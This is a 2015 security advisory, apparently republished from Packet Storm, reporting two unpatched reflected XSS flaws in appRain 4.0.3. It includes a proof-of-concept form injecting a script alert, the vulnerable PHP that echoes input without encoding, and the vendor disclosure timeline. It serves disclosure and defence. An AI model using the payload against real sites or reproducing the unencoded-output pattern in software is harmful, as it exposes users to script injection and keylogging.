appRain 4.0.3 Cross Site Scripting

Type packetstorm
Reporter Tim Coen
Modified 2015-12-10T00:00:00


                                            `Security Advisory - Curesec Research Team  
1. Introduction  
Affected Product: appRain 4.0.3  
Fixed in: not fixed  
Fixed Version Link: n/a  
Vendor Website:  
Vulnerability Type: XSS  
Remote Exploitable: Yes  
Reported to vendor: 10/02/2015  
Disclosed to public: 12/02/2015  
Release mode: Full Disclosure  
CVE: requested, but not assigned  
Credits Tim Coen of Curesec GmbH  
2. Overview  
There are two reflected XSS vulnerabilities in appRain 4.0.3. This can lead to  
the injection of JavaScript keyloggers or the bypassing of CSRF protection. In  
the case of appRain, this may lead to code execution.  
3. XSS 1  
Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N  
The search of the file manager echoes user input without encoding, leading to  
reflected XSS.  
Proof of Concept  
<form action="http://localhost/apprain-source-4.0.3/admin/filemanager/upload" method="POST">  
<input type="hidden" name="data[FileManager][search]" value="'"><script>alert(1)</script>" />  
<input type="submit" value="Submit request" />  
private function btnFilemanagerSrcBox($srcstr = "")  
$html = '<form method="post">  
<input type="text" name="data[FileManager][search]" value="' . $srcstr . '" />  
<div class="button" style="float:right"><input type="submit" value="Search" /></pre>  
return array('box' => $html);  
4. XSS 2  
Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N  
The appeditor echoes the given file name and path without encoding, leading to  
reflected XSS.  
Proof of Concept  
<?php foreach($fileeditorqueue as $row):?>  
<?php $farr = explode('/',$row);?>  
<?php if( $row == $loc):?>  
<li class="ui-tabs-selected">  
<a href="?loc=<?php echo $row ;?>" title="<?php echo $row ;?>"><?php echo(end($farr)); ?></a>  
<?php else: ?>  
<a href="?loc=<?php echo $row ;?>" title="<?php echo $row ;?>"><?php echo(end($farr));?></a>  
<span class="closefiletab">X</span>  
<?php endif;?>  
<?php endforeach;?>  
5. Solution  
This issue was not fixed by the vendor.  
6. Report Timeline  
10/02 Informed Vendor. Mailbox is full, used  
/2015 instead (no reply)  
10/21 Reminded Vendor of Disclosure Date  
10/21 Vendor anounces fix for 11/02/2015  
11/04 No fix released, extended public disclosure date to 11/11/2015  
11/05 Vendor asks for list of organizations that may help implementing fixes  
11/11 Replied that we do not have lists, and that we do not have the resources  
/2015 to implement fixes ourselves. Extended release date to 11/18/2015 and  
offered further extension if needed (no reply)  
11/17 CVE Requested (no reply)  
11/24 Reminded Vendor of release date, extended date to 12/02/2015 and offered  
/2015 extension if needed (no reply)  
12/02 Disclosed to public  
Blog Reference:  
Curesec GmbH  
Curesec Research Team  
Romain-Rolland-Str 14-24  
13089 Berlin, Germany